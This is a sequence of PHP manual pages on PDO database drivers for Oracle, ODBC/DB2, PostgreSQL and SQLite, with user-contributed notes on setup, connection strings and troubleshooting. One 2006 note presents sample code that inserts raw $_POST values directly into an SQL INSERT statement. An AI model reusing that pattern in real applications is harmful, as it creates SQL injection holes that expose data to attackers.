--with-pdo-oci=instantclient,/usr/lib/oracle,11.1

Just saying your release version from the Oracle OIC.

It compiles fine then.

Best regards.
ken at xpressconnex dot com 05-Feb-2008 05:17
Wow, cursade.  That's a lot of typing to use the lite client.

Try this:

$db = '//hostname/servicename'; //e.g. '//192.168.1.1/orcl'
$user = 'username';
$pass = 'password';

$conn = new PDO($db,$user,$pass);
moc.aciremi@yvelj 01-Jun-2006 09:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com 21-Apr-2006 08:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUX，set $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com 20-Apr-2006 11:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = orcl)
    )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
    $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
    echo ($e->getMessage());
}
?>


Connecting to Oracle databases

  • « Oracle (PDO)
  • ODBC and DB2 (PDO) »
  • PHP Manual
  • Oracle (PDO)
  • Connecting to Oracle databases

PDO_OCI DSN

(PECL PDO_OCI >= 0.1.0)

PDO_OCI DSN — Connecting to Oracle databases

Description

The PDO_OCI Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is oci:.

dbname (Oracle Instant Client)

The URI for the Oracle Instant Client connection takes the form of dbname=//hostname:port-number/database. If you are connecting to a database defined in tnsnames.ora, use only the name of the database: dbname=database.

charset

The client-side character set for the current environment handle.

Examples

Example #1 PDO_OCI DSN examples

The following examples show a PDO_OCI DSN for connecting to Oracle databases:

// Connect to a database defined in tnsnames.ora
oci:dbname=mydb

// Connect using the Oracle Instant Client
oci:dbname=//localhost:1521/mydb

User Contributed Notes

Alexander Ashurkoff 26-Feb-2007 11:20
If you want to use PDO_OCI and get proper russian windows-1251 codepage, just add charset=CL8MSWIN1251 to your DSN.

example:
<?php
$dbc = new PDO('oci:dbname=192.168.10.145/orcl;charset=CL8MSWIN1251', 'username', 'password');
?>

Аlso setting apache/registry/system environment variable NLS_LANG to RUSSIAN_CIS.CL8MSWIN1251 may helps you.
Helpful User 12-Oct-2006 02:59
If you get the error: TNS: could not resolve service name

Remember that the PDO wants to use the default client, which will only use the tnsnames.ora in %ORACLE_HOME%\network\admin. Check that file and make sure your service is defined in there.

BTW, there is a bug with pdo_oci8 with 9i - don't use it. Make sure you just use pdo_oci.dll.


ODBC and DB2 Functions (PDO_ODBC)

Introduction

PDO_ODBC is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to databases through ODBC drivers or through the IBM DB2 Call Level Interface (DB2 CLI) library. PDO_ODBC currently supports three different "flavours" of database drivers:

ibm-db2

Supports access to IBM DB2 Universal Database, Cloudscape, and Apache Derby servers through the free DB2 client.

unixODBC

Supports access to database servers through the unixODBC driver manager and the database's own ODBC drivers.

generic

Offers a compile option for ODBC driver managers that are not explicitly supported by PDO_ODBC.

On Windows, PDO_ODBC is built into the PHP core by default. It is linked against the Windows ODBC Driver Manager so that PHP can connect to any database cataloged as a System DSN, and is the recommended driver for connecting to Microsoft SQL Server databases.

Installation

PDO_ODBC on UNIX systems

  1. As of PHP 5.1, PDO_ODBC is included in the PHP source. You can compile the PDO_ODBC extension as either a static or shared module using the following configure commands.

    ibm_db2

    ./configure --with-pdo-odbc=ibm-db2,/opt/IBM/db2/V8.1/
    To build PDO_ODBC with the ibm-db2 flavour, you have to have previously installed the DB2 application development headers on the same machine on which you are compiling PDO_ODBC. The DB2 application development headers are an installable option in the DB2 servers, and are also available as part of the DB2 Application Development Client freely available for download from the IBM DB2 Universal Database » support site.

    If you do not supply a location for the DB2 libraries and headers to the configure command, PDO_ODBC defaults to /home/db2inst1/sqllib.

    unixODBC

    ./configure --with-pdo-odbc=unixODBC,/usr/local
    If you do not supply a location for the unixODBC libraries and headers to the configure command, PDO_ODBC defaults to /usr/local.

    generic
    ./configure --with-pdo-odbc=generic,/usr/local,libname,ldflags,cflags

Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO_ODBC Configuration Options
Name | Default | Changeable | Changelog
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL | Available since PHP 5.1.0.
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | Available since PHP 5.1.1. This deprecated feature will certainly be removed in the future.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pdo_odbc.connection_pooling string

Whether to pool ODBC connections. Can be one of "strict", "relaxed" or "off" (equals to ""). The parameter describes how strict the connection manager should be when matching connection parameters to existing pooled connections. strict is the recommend default, and will result in the use of cached connections only when all the connection parameters match exactly. relaxed will result in the use of cached connections when similar connection parameters are used. This can result in increased use of the cache, at the risk of bleeding connection information between (for example) virtual hosts.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

Warning

relaxed matching should not be used on a shared server, for security reasons.

Tip

Leave this setting at the default strict setting unless you have good reason to change it.

pdo_odbc.db2_instance_name string

If you compile PDO_ODBC using the db2 flavour, this setting sets the value of the DB2INSTANCE environment variable on Linux and UNIX operating systems to the specified name of the DB2 instance. This enables PDO_ODBC to resolve the location of the DB2 libraries and make cataloged connections to DB2 databases.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

This setting has no effect on Windows.

Table of Contents

  • PDO_ODBC DSN — Connecting to ODBC or DB2 databases

User Contributed Notes

Ariz Jacinto 09-Jan-2012 10:50
Using SQL Server Native Client 11.0 on Linux as a PDO_ODBC driver:

Download the SQL Server Native Client 11.0 on Linux ODBC Driver:
http://www.microsoft.com/download/en/details.aspx?id=28160

Configuration ODBC:

/usr/local/etc/odbcsys.ini
--
[SQL Server Native Client 11.0]
Description = Microsoft SQL Server ODBC Driver V1.0 for Linux
Driver = /opt/microsoft/sqlncli/lib64/libsqlncli-11.0.so.1720.0
UsageCount = 1

/usr/local/etc/odbc.ini
--
[MSSQLServer]
Driver = SQL Server Native Client 11.0
Description = Sample Database
Trace = Yes
Server =
Port = 1433
Database =

Test the connection:
mssqltest.php
--
<?php
    putenv('ODBCSYSINI=/usr/local/etc');
    putenv('ODBCINI=/usr/local/etc/odbc.ini');
    $username = "";
    $password = "";
    try {
      $dbh = new PDO("odbc:MSSQLServer",
                    "$username",
                    "$password"
                   );
    } catch (PDOException $exception) {
      echo $exception->getMessage();
      exit;
    }
    echo var_dump($dbh);
    unset($dbh);
?>
harry dot forum at p-boss dot com 02-Jul-2010 01:03
MSSQL - PHP on Apache - Linux Redhat

When using php 5.2.10 please beaware of this error:

http://bugs.php.net/bug.php?id=42068

Standard odbc_connect will not work, you must use pdo_odbc

Connecting to MSSQL using pdo odbc - walkthrough..

1. Download and configure FreeTDS with-unixodbc

./configure --prefix=/opt/SYSfreetds --with-unixodbc

make;make test; make install

2. install php-odbc and unixODBC

         php-odbc-5.2.10-1.x86_64.rpm
         unixODBC.x86_64.x86x64

3. Setup ODBC links

a)
Create a tds.driver file with the following contents

  [FreeTDS]
  Description     = v0.63 with protocol v8.0
  Driver          = /opt/SYSfreetds/lib/libtdsodbc.so

Register the ODBC driver - the tds.driver file

  odbcinst -i -d -f tds.driver

b)
Creating a tds.datasource file - ODBC Data Source with contents:

  [SOURCENAME]
  Driver=FreeTDS
  Description=Test MS SQL Database with FreeTDS
  Trace=No
  Server=BobTheServer
  Port=1433
  TDS Version=8.0
  Database=youDBname

Register the ODBC data source

  odbcinst -i -s -f tds.datasource

Beware that the odbc.ini file will be installed in the current users home directory. This may need to be used if you are using a webserver as the apache home directory could be different.

Ensure .odbc.ini is in apaches home directory, possibly "/var/www"

4. Test the ODBC link on the command line

  isql -v SOURCENAME 'username' 'password'

  +---------------------------------------+
  | Connected!                            |
  |                                       |
  | sql-statement                         |
  | help [tablename]                      |
  | quit                                  |
  |                                       |
  +---------------------------------------+
 SQL>

5. Edit /etc/php.ini

  Make sure the following is set:
     mssql.secure_connection = On

6. Restart apache gracefully

7. PHP to run:

  <?
  $dbh= new PDO('odbc:SOURCENAME', 'username', 'password');
  $stmt = $dbh->prepare("$query");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
      print_r($row);
  }
  unset($dbh); unset($stmt);
  ?>

Trouble-shooting:

Please try strace/ truss if you encounter issues. It could be you are referencing wrong libraries somewhere.

Ensure you have restarted apache once the odbc files are in place
tuomas 21-Sep-2009 09:11
If you want to avoid installing DB2 Connect and/or PECL modules ibm_db2 and PDO_IBM, you can also use IBM DB2 databases trough unixODBC.

If you have DB2 database on a i server you need to install IBM iAccess (http://www.ibm.com/systems/i/software/access/linux/index.html) and unixODBC. Just install the libraries (rpm) and modify configurations in /etc/odbcinst.ini (sample configuration in /opt/ibm/iSeriesAccess/unixodbcregistration) and /etc/odbc.ini.

To my experience this is much easier way than installing DB2 Connect.
ethan dot nelson at ltd dot org 29-Feb-2008 11:15
Using SQL 2005, PDO_ODBC and datetime fields is a royal pain.  MSDN documentation on CAST CONVERT shows that there is supposed to be an implicit convert between character types and datetime types.  That's true... until you put it in a stored procedure and use variable declarations.

For instance this fails:

declare @date varchar;
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

While this succeeds:
declare @date varchar(19);
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

The PDO Driver appears to attempt an implicit conversion and so it fails whenever you try to insert data into datetime column types.

So to workaround this nuance in SQL, declare a character column type with explicit width.  Then your implicit type conversion will work.


Connecting to ODBC or DB2 databases

  • « ODBC and DB2 (PDO)
  • PostgreSQL (PDO) »
  • PHP Manual
  • ODBC and DB2 (PDO)
  • Connecting to ODBC or DB2 databases

PDO_ODBC DSN

(PECL PDO_ODBC >= 0.1.0)

PDO_ODBC DSN — Connecting to ODBC or DB2 databases

Description

The PDO_ODBC Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is odbc:. If you are connecting to a database cataloged in the ODBC driver manager or the DB2 catalog, you can append the cataloged name of the database to the DSN.

DSN

The name of the database as cataloged in the ODBC driver manager or the DB2 catalog. Alternately, you can provide a complete ODBC connection string to connect to a database as described at » http://www.connectionstrings.com/.

UID

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

PWD

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

Examples

Example #1 PDO_ODBC DSN example (ODBC driver manager)

The following example shows a PDO_ODBC DSN for connecting to an ODBC database cataloged as testdb in the ODBC driver manager:

odbc:testdb

Example #2 PDO_ODBC DSN example (IBM DB2 uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to an IBM DB2 database named SAMPLE using the full ODBC DSN syntax:

odbc:DRIVER={IBM DB2 ODBC DRIVER};HOSTNAME=localhost;PORT=50000;DATABASE=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

Example #3 PDO_ODBC DSN example (Microsoft Access uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to a Microsoft Access database stored at C:\db.mdb using the full ODBC DSN syntax:

odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

User Contributed Notes

nicolas dot baptiste at gmail dot com 30-Mar-2009 05:12
Just an exemple of an odbc connection string to MSSQL 2005 :

<?php
$cnx = new PDO("odbc:Driver={SQL Native Client};Server=250.156.0.1;Database=myDataBase; Uid=userName;Pwd=thePassword;");
?>
02-May-2006 04:57
On MS SQL Server there is a convenient way to help troubleshooting database server performance problems is to use the APP attribute, like this:

<?php
$dsn = 'DRIVER=FreeTDS;SERVERNAME=server1;DATABASE=testdb;APP=My PHP Application;UID=user;';
?>

This will show the "My PHP Application" text in ProgramName column of the sp_who2 procedure in MS SQL Server.


PostgreSQL Functions (PDO_PGSQL)

Introduction

PDO_PGSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to PostgreSQL databases.

Resource Types

This extension defines a stream resource returned by PDO::pgsqlLOBOpen().

Installation

Use --with-pdo-pgsql[=DIR] to install the PDO PostgreSQL extension, where the optional [=DIR] is the PostgreSQL base install directory, or the path to pg_config.

$ ./configure --with-pdo-pgsql

Table of Contents

  • PDO_PGSQL DSN — Connecting to PostgreSQL databases
  • PDO::pgsqlGetNotify — Get asynchronous notification
  • PDO::pgsqlGetPid — Get the server PID
  • PDO::pgsqlLOBCreate — Creates a new large object
  • PDO::pgsqlLOBOpen — Opens an existing large object stream
  • PDO::pgsqlLOBUnlink — Deletes the large object

User Contributed Notes

There are no user contributed notes for this page.


Connecting to PostgreSQL databases

  • « PostgreSQL (PDO)
  • PDO::pgsqlGetNotify »
  • PHP Manual
  • PostgreSQL (PDO)
  • Connecting to PostgreSQL databases

PDO_PGSQL DSN

(PECL PDO_PGSQL >= 0.1.0)

PDO_PGSQL DSN — Connecting to PostgreSQL databases

Description

The PDO_PGSQL Data Source Name (DSN) is composed of the following elements, delimited by spaces or semicolons:

DSN prefix

The DSN prefix is pgsql:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

user

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

password

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

Note:

The bytea fields are returned as streams.

Examples

Example #1 PDO_PGSQL DSN examples

The following example shows a PDO_PGSQL DSN for connecting to a PostgreSQL database:

pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass

User Contributed Notes

other at yetterprises dot com 12-Jul-2013 11:11
I wanted to point out something that is not obvious from the documentation here or in any google searches that I've done.  Everything after the 'pgsql:' is passed to the PQconnectdb function of the pgsql library as a connection string.  This means 2 important key things:

1) 'username' is not a valid option of the PQconnectdb connection string.  Use 'user' instead (ie 'user=<username>' instead of 'username=<username>').
2) You can utilize ANY option of the PQconnectdb function in this way.  For those trying to figure out how to enable ssl connections through the pgsql PDO connection process, like me, as per Postgresql standards, the 'sslmode' parameter can be set via the DSN.  So, for example, 'sslmode=require' will require an ssl connection.  Look at the documentation for the pgsql library version you are using for all options of both the sslmode parameter and any other parameters that are available.
tmairs at aasland dot com 04-May-2010 02:28
The DSN syntax shown here did not work for me, but this did:

<?php
$dbh = new PDO("pgsql:dbname=$dbname;host=$host", $username, $password );
?>

As opposed to

<?php
$dbh = new PDO('pgsql:dbname=$dbname;
                           host=$host;
                           username=$username;
                           password=$password');
?>

Which makes sense and is more PGSQL standard.
tim at buttersideup dot com 28-Dec-2007 07:35
You can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
Chris C. 15-Nov-2005 06:12
The PDO_PGSQL DSN should be seperated by semi-colons not spaces. It should follow the convention like the rest of the PDO DSNs.

'pgsql:dbname=example;user=nobody;password=change_me;host=localhost'


Get asynchronous notification

  • « PDO_PGSQL DSN
  • PDO::pgsqlGetPid »
  • PHP Manual
  • PostgreSQL (PDO)
  • Get asynchronous notification

PDO::pgsqlGetNotify

(PHP 5 >= 5.6.0)

PDO::pgsqlGetNotify — Get asynchronous notification

Description

public array PDO::pgsqlGetNotify ([ int $result_type = PDO::FETCH_USE_DEFAULT [, int $ms_timeout = 0 ]] )

Returns a result set representing a pending asynchronous notification.

Parameters

result_type

The format the result set should be returned as, represented as a PDO::FETCH_* constant.

ms_timeout

The length of time to wait for a response, in milliseconds.

Return Values

If one or more notifications is pending, returns a single row, with fields message and pid, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Get the server PID

  • « PDO::pgsqlGetNotify
  • PDO::pgsqlLOBCreate »
  • PHP Manual
  • PostgreSQL (PDO)
  • Get the server PID

PDO::pgsqlGetPid

(PHP 5 >= 5.6.0)

PDO::pgsqlGetPid — Get the server PID

Description

public int PDO::pgsqlGetPid ( void )

Returns the server's PID.

Return Values

The server's PID.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new large object

  • « PDO::pgsqlGetPid
  • PDO::pgsqlLOBOpen »
  • PHP Manual
  • PostgreSQL (PDO)
  • Creates a new large object

PDO::pgsqlLOBCreate

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBCreate — Creates a new large object

Description

public string PDO::pgsqlLOBCreate ( void )

PDO::pgsqlLOBCreate() creates a large object and returns the OID of that object. You may then open a stream on the object using PDO::pgsqlLOBOpen() to read or write data to it. The OID can be stored in columns of type OID and be used to reference the large object, without causing the row to grow arbitrarily large. The large object will continue to live in the database until it is removed by calling PDO::pgsqlLOBUnlink().

Large objects can be up to 2GB in size, but are cumbersome to use; you need to ensure that PDO::pgsqlLOBUnlink() is called prior to deleting the last row that references its OID from your database. In addition, large objects have no access controls. As an alternative, try the bytea column type; recent versions of PostgreSQL allow bytea columns of up to 1GB in size and transparently manage the storage for optimal row size.

Note: This function must be called within a transaction.

Parameters

PDO::pgsqlLOBCreate() takes no parameters.

Return Values

Returns the OID of the newly created large object on success, or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBCreate() example

This example creates a new large object and copies the contents of a file into it. The OID is then stored into a table.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$oid = $db->pgsqlLOBCreate();
$stream = $db->pgsqlLOBOpen($oid, 'w');
$local = fopen($filename, 'rb');
stream_copy_to_stream($local, $stream);
$local = null;
$stream = null;
$stmt = $db->prepare("INSERT INTO BLOBS (ident, oid) VALUES (?, ?)");
$stmt->execute(array($some_id, $oid));
$db->commit();
?>

See Also

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_create() - Create a large object

User Contributed Notes

mauroi at digbang dot com 03-Apr-2006 06:38
IMHO, there's a better way to handle the deletion of lob objects than the suggested here. The programmer can easily forget to unlink the lob. With the following trigger, no programmer actions are required.
By the way, one problem with bytea fields is that when you query the database, if you ask for that field, the data is actually retrieved. When you query for and oid, only the oid is retrieved and then you can open the lob whenever you want (if it's required).

CREATE OR REPLACE FUNCTION oidtable_after_update_delete()
  RETURNS "trigger" AS
$BODY$
BEGIN
     IF (TG_OP = 'UPDATE') THEN
        IF (OLD.oidfield = NEW.oidfield) OR (OLD.oidfield IS NULL) THEN
           RETURN NEW;
        END IF;
     END IF;
     IF (EXISTS (SELECT 1 FROM pg_largeobject WHERE loid = OLD.oidfield)) THEN
        PERFORM LO_UNLINK (OLD.oidfield);
     END IF;
     RETURN NEW;
END;
$BODY$
  LANGUAGE 'plpgsql' VOLATILE;

CREATE TRIGGER oidtable_after_update_delete
  AFTER UPDATE OR DELETE
  ON oidtable
  FOR EACH ROW
  EXECUTE PROCEDURE oidtable_after_update_delete();


Opens an existing large object stream

  • « PDO::pgsqlLOBCreate
  • PDO::pgsqlLOBUnlink »
  • PHP Manual
  • PostgreSQL (PDO)
  • Opens an existing large object stream

PDO::pgsqlLOBOpen

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBOpen — Opens an existing large object stream

Description

public resource PDO::pgsqlLOBOpen ( string $oid [, string $mode = "rb" ] )

PDO::pgsqlLOBOpen() opens a stream to access the data referenced by oid. If mode is r, the stream is opened for reading, if mode is w, then the stream will be opened for writing. You can use all the usual filesystem functions, such as fread(), fwrite() and fgets() to manipulate the contents of the stream.

Note: This function, and all manipulations of the large object, must be called and carried out within a transaction.

Parameters

oid

A large object identifier.

mode

If mode is r, open the stream for reading. If mode is w, open the stream for writing.

Return Values

Returns a stream resource on success or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBOpen() example

Following on from the PDO::pgsqlLOBCreate() example, this code snippet retrieves the large object from the database and outputs it to the browser.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("select oid from BLOBS where ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $oid, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $db->pgsqlLOBOpen($oid, 'r');
header("Content-type: application/octet-stream");
fpassthru($stream);
?>

See Also

  • PDO::pgsqlLOBCreate() - Creates a new large object
  • PDO::pgsqlLOBUnlink() - Deletes the large object
  • pg_lo_open() - Open a large object

User Contributed Notes

binaryexp at gmail 06-Mar-2009 01:54
This is what worked for me. If you have the oid, then all you need to do is:

<?php
$pdo = new PDO($dsn, $user, $pass);
$pdo->beginTransaction();
$data = $pdo->pgsqlLOBOpen($oid, 'r');

header("Content-Type: $mime");
// any other headers...

fpassthru($data);  // echo stream_get_contents($data); also works
?>

The beginTransaction() is required, if you want to $pdo->commit() (it's not required) then do it after the fpassthru.

On a side note, those using Zend Framework can call getConnection() on the standard PDO database object which will get them the $pdo object as above. Then just remember to disableLayout() and setNoRender() as necessary.
knl at bitflop dot com 26-Sep-2008 02:54
Also remember that fread() will only parse the first 8192 bytes from the stream. Use..

<?php
$data = stream_get_contents($stream);
?>

.. if you have a larger output to parse.
knl at bitflop dot com 26-Sep-2008 12:20
The above example is missing some data. After spending several hours trying to get it to work in vain, Jeff Davis from the PostgreSQL channel on IRC (freenode) figured out what was missing.

The below example will work, but you have to insert the MIME type and file size of the large object that you are storing, so you can use that data for extraction.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$stmt = $db->prepare("SELECT oid, blob_type, filesize FROM BLOBS WHERE ident = ?");
$stmt->execute(array($some_id));
$stmt->bindColumn('oid', $lob, PDO::PARAM_LOB);
$stmt->bindColumn('blob_type', $blob_type, PDO::PARAM_STR);
$stmt->bindColumn('filesize', $filesize, PDO::PARAM_STR);
$stmt->fetch(PDO::FETCH_BOUND);
$stream = $pdo->pgsqlLOBOpen($lob, 'r');
$data = fread($stream, $filesize);
header("Content-type: $blob_type");
echo $data;
?>

Also fpassthru() will just give this result: Warning: fpassthru(): supplied argument is not a valid stream resource in ...

Use echo or print instead.


Deletes the large object

  • « PDO::pgsqlLOBOpen
  • SQLite (PDO) »
  • PHP Manual
  • PostgreSQL (PDO)
  • Deletes the large object

PDO::pgsqlLOBUnlink

(PHP 5 >= 5.1.2, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBUnlink — Deletes the large object

Description

public bool PDO::pgsqlLOBUnlink ( string $oid )

Deletes a large object from the database identified by OID.

Note: This function must be called within a transaction.

Parameters

oid

A large object identifier

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A PDO::pgsqlLOBUnlink() example

This example unlinks a large object from the database prior to deleting the row that references it from the blobs table we've been using in our PDO::pgsqlLOBCreate() and PDO::pgsqlLOBOpen() examples.

<?php
$db = new PDO('pgsql:dbname=test host=localhost', $user, $pass);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->beginTransaction();
$db->pgsqlLOBUnlink($oid);
$stmt = $db->prepare("DELETE FROM BLOBS where ident = ?");
$stmt->execute(array($some_id));
$db->commit();
?>

See Also

  • PDO::pgsqlLOBOpen() - Opens an existing large object stream
  • PDO::pgsqlLOBCreate() - Creates a new large object

User Contributed Notes

There are no user contributed notes for this page.


SQLite Functions (PDO_SQLITE)

Introduction

PDO_SQLITE is a driver that implements the PHP Data Objects (PDO) interface to enable access to SQLite 3 databases.

In PHP 5.1, the SQLite extension also provides a driver for SQLite 2 databases; while it is not technically a part of the PDO_SQLITE driver, it behaves similarly, so it is documented alongside it. The SQLite 2 driver for PDO is provided primarily to make it easier to import legacy SQLite 2 database files into an application that uses the faster, more efficient SQLite 3 driver. As a result, the SQLite 2 driver is not as feature-rich as the SQLite 3 driver.

Note:

PDO_SQLITE allows using strings apart from streams together with PDO::PARAM_LOB.

Installation

The PDO_SQLITE PDO driver is enabled by default. To disable, --without-pdo-sqlite[=DIR] may be used, where the optional [=DIR] is the sqlite base install directory.

Table of Contents

  • PDO_SQLITE DSN — Connecting to SQLite databases
  • PDO::sqliteCreateAggregate — Registers an aggregating User Defined Function for use in SQL statements
  • PDO::sqliteCreateFunction — Registers a User Defined Function for use in SQL statements

User Contributed Notes

tris dot php at tfconsulting dot com dot au 15-May-2014 01:34
After wrestling with "General error: 5 database is locked" errors for a highly concurrent project I finally wrapped the PDO transaction code with a semaphore.  No errors since...

Obviously only works if all processes use the subclass and wrap database modifying statements in beginTransaction() .. commit().  The same could be achieved with flock() if semaphore is not available on your system but will be slower.

<?php
class SQLitePDO extends PDO {
    function __construct($filename) {
        $filename = realpath($filename);
        parent::__construct('sqlite:' . $filename);

        $key = ftok($filename, 'a');
        $this->sem = sem_get($key);
    }

    function beginTransaction() {
        sem_acquire($this->sem);
        return parent::beginTransaction();
    }

    function commit() {
        $success = parent::commit();
        sem_release($this->sem);
        return $success;
    }

    function rollBack() {
        $success = parent::rollBack();
        sem_release($this->sem);
        return $success;
    }
}
?>
nospam8715 at dririan dot com 11-Nov-2012 06:22
Instead of compiling an old version of SQLite to create a database using an older database format that the version of SQLite bundled with PDO can handle, you can (much more easily) just run the query "PRAGMA legacy_file_format = TRUE;" BEFORE creating the database (if you have an existing database, run ".dump" from the sqlite shell on your database, run the sqlite shell on a new database, run the PRAGMA, then paste the contents of the .dump). That will ensure SQLite creates a database readable by SQLite 3.0 and later.
gopal at gopalarathnam dot com 27-Mar-2007 11:36
If you get an error reporting "invalid resource" when trying to query the database table and looping through it, the version of the SQLite extension compiled in to PHP might be incompatible with the version that had created the database (like SQLite 2.x vs 3.x).

The database open itself might be successful, failing only when querying.

$dbh = new PDO('sqlite:/tmp/foo.db'); // success
foreach ($dbh->query('SELECT * FROM bar') as $row) // prints invalid resource
    // ...
gmac63 at charter dot net 10-Aug-2006 04:38
Issue:
Error: SQLSTATE[HY000]: General error: 1 unsupported file format

Resolution:
To solve this (and/or many issues) involving this type of error, I assumed the error to be generated from php. Well, it was to an extent. The sqlite pdo code offered the solution:

I researched the error by grep'ing the php source code and found the error string to come from php-5.1.4/ext/pdo_sqlite/sqlite/src/prepare.c, lines 265:278 :

/*
 ** file_format==1    Version 3.0.0.
 ** file_format==2    Version 3.1.3.
 ** file_format==3    Version 3.1.4.
 **
 ** Version 3.0 can only use files with file_format==1. Version 3.1.3
 ** can read and write files with file_format==1 or file_format==2.
 ** Version 3.1.4 can read and write file formats 1, 2 and 3.
 */
 if( meta[1]>3 ){
   sqlite3BtreeCloseCursor(curMain);
   sqlite3SetString(pzErrMsg, "unsupported file format", (char*)0);
   return SQLITE_ERROR;
 }

This is interesting as I am running SQLite version 3.3.5 which the databases were created in. I see that the SQLite PDO source in the php source is :
      # cat ext/pdo_sqlite/sqlite/VERSION
       3.2.8

My solution was then to find a version of sqlite that was =< 3.1.4. I found source for 3.1.3, compiled, recreated my database using that version (NOTE: the databases are unsupported between 3.1.x and 3.2.x versions of SQLite). Once I did this it worked.

Also as a side note, to get SQLite compiled as a PDO, I had to:

1) configure with
...
--enable-pdo=shared \
--with-sqlite=shared \
--with-pdo-sqlite=shared
--with-zlib
... \
'make && make install' if configure is successful.

2) Make sure the pdo libs were copied/installed to the correct directory. On my installation it was /usr/local/include/php/ext/pdo/

3) Make these changes in my php.ini:
  - change ' extension_dir = "./" ' to ' extension_dir="/usr/local/include/php/ext/pdo/" '
  - add/edit in this order:
      extension=pdo.so
      extension=pdo_sqlite.so
      extension=sqlite.so

4) test php with : 'php -m' at the command line and solve any issues from there. Mostly php.ini config issues. Also restart the http service!
Duffalo 07-Jul-2006 01:41
Note that as of the date of this post, PDO_SQLITE will not interact with database files created with the current version of the SQLite console application, sqlite-3.3.6.

It is currently necessary to obtain version 3.2.8, available from http://www.sqlite.org/ but only by entering the URI manually, as there is no link. Go to http://www.sqlite.org/download.html and find the URI of the version you're looking for, then make the appropriate version number substitution.
aidan at php dot net 01-Oct-2005 11:36
